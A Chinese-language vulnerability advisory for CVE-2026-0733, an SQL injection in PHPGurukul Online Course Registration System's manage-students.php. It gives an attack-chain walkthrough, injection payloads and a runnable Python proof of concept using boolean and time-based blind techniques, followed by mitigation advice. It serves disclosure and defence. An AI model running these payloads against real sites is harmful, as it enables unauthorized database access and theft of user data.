IPBUF安全漏洞报告
English
CVE-2026-0733 CVSS 6.3 中危

CVE-2026-0733 PHPGurukul在线课程注册系统SQL注入漏洞

披露日期: 2026-01-09

漏洞信息

漏洞编号
CVE-2026-0733
漏洞类型
SQL注入
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
PHPGurukul Online Course Registration System

相关标签

CVE-2026-0733SQL注入PHPGurukul在线课程注册系统Web应用安全数据库安全身份验证绕过CVSS 6.3中危漏洞

漏洞概述

CVE-2026-0733是PHPGurukul在线课程注册系统中的一个中等严重性SQL注入漏洞。该漏洞影响版本至3.1,存在于管理后台的/onlinecourse/admin/manage-students.php文件中。攻击者可通过操纵id或cid参数注入恶意SQL代码,无需高权限即可远程利用此漏洞。CVSS 3.1评分为6.3,属于中危级别。漏洞可导致机密性、完整性和可用性均受到低程度影响,包括敏感数据泄露、数据库篡改以及服务中断等风险。该漏洞已于2026年1月9日公开披露,相关信息已在多个安全数据库中收录。由于漏洞利用门槛较低且已公开,建议受影响用户立即采取修复措施。

技术细节

该SQL注入漏洞存在于PHPGurukul在线课程注册系统的学生管理模块中,具体位置为/onlinecourse/admin/manage-students.php文件。漏洞源于应用程序对用户输入的id或cid参数未进行充分的输入验证和SQL语句参数化处理。攻击者可通过构造恶意的SQL payloads(如布尔盲注、时间延迟注入或联合查询等)来利用此漏洞。由于该漏洞的网络可达性(AV:N)和低权限要求(PR:L)特征,远程攻击者可以在获取低权限账号后即可发起攻击。成功利用后,攻击者能够枚举数据库中的敏感信息,包括用户凭证、个人数据、课程信息等,甚至可能通过SQL注入获取系统更高权限。攻击过程无需用户交互(UI:N),这大大增加了漏洞的实际威胁程度。

攻击链分析

STEP 1
步骤1
侦察阶段:攻击者识别目标网站使用PHPGurukul在线课程注册系统,并定位到/onlinecourse/admin/manage-students.php端点
STEP 2
步骤2
获取低权限访问:攻击者需要获取系统中的低权限账号(学生或普通用户账号)以通过认证
STEP 3
步骤3
构造恶意请求:攻击者构造包含SQL注入payload的HTTP请求,操纵id或cid参数(如id=1' OR 1=1 -- -)
STEP 4
步骤4
漏洞利用:通过布尔盲注、时间延迟注入或联合查询等技术,攻击者逐步提取数据库中的敏感信息
STEP 5
步骤5
数据窃取:攻击者获取用户凭证、个人信息、课程数据等敏感内容,可能进一步横向移动或提权

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2026-0733 SQL Injection PoC # Target: PHPGurukul Online Course Registration System <= 3.1 # Endpoint: /onlinecourse/admin/manage-students.php def exploit_sqli(target_url, param='id'): """ SQL Injection exploitation using boolean-based blind technique """ # Test payload for boolean-based blind SQL injection true_payload = f"{param}=1' AND 1=1 -- -" false_payload = f"{param}=1' AND 1=2 -- -" headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)', 'Cookie': 'PHPSESSID=your_admin_session_here' # Requires low-priv auth } print(f"[*] Testing SQL Injection on {target_url}") print(f"[*] Parameter: {param}") try: # Test TRUE condition resp_true = requests.get( f"{target_url}/onlinecourse/admin/manage-students.php?{true_payload}", headers=headers, timeout=10 ) # Test FALSE condition resp_false = requests.get( f"{target_url}/onlinecourse/admin/manage-students.php?{false_payload}", headers=headers, timeout=10 ) # Compare responses to confirm vulnerability if resp_true.status_code != resp_false.status_code or \ len(resp_true.content) != len(resp_false.content): print("[+] SQL Injection Confirmed!") print(f"[+] TRUE response length: {len(resp_true.content)}") print(f"[+] FALSE response length: {len(resp_false.content)}") return True else: print("[-] SQL Injection not detected") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False def extract_data(target_url): """ Data extraction using time-based blind SQL injection """ # Database version extraction payload version_payload = "id=1' AND (SELECT CASE WHEN (1=1) THEN SLEEP(5) ELSE 0 END) -- -" headers = { 'User-Agent': 'Mozilla/5.0', 'Cookie': 'PHPSESSID=your_admin_session_here' } print("[*] Extracting database version...") try: import time start = time.time() resp = requests.get( f"{target_url}/onlinecourse/admin/manage-students.php?{version_payload}", headers=headers, timeout=15 ) elapsed = time.time() - start if elapsed >= 5: print("[+] Time-based blind SQL injection works!") print(f"[+] Response time: {elapsed}s") return True except requests.exceptions.Timeout: print("[+] Time-based blind SQL injection confirmed!") return True except Exception as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} http://192.168.1.100") sys.exit(1) target = sys.argv[1].rstrip('/') exploit_sqli(target, 'id') extract_data(target)

影响范围

PHPGurukul Online Course Registration System <= 3.1

防御指南

临时缓解措施
在官方修复版本发布前,可采取以下临时缓解措施:1)限制管理后台访问来源,配置IP白名单;2)禁用不必要的数据库账户权限;3)启用SQL查询日志监控异常行为;4)对manage-students.php文件实施临时访问控制;5)使用ModSecurity等WAF规则阻止已知的SQL注入模式;6)定期备份数据库以便发生安全事件时快速恢复。建议持续关注官方安全公告,及时应用正式补丁。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表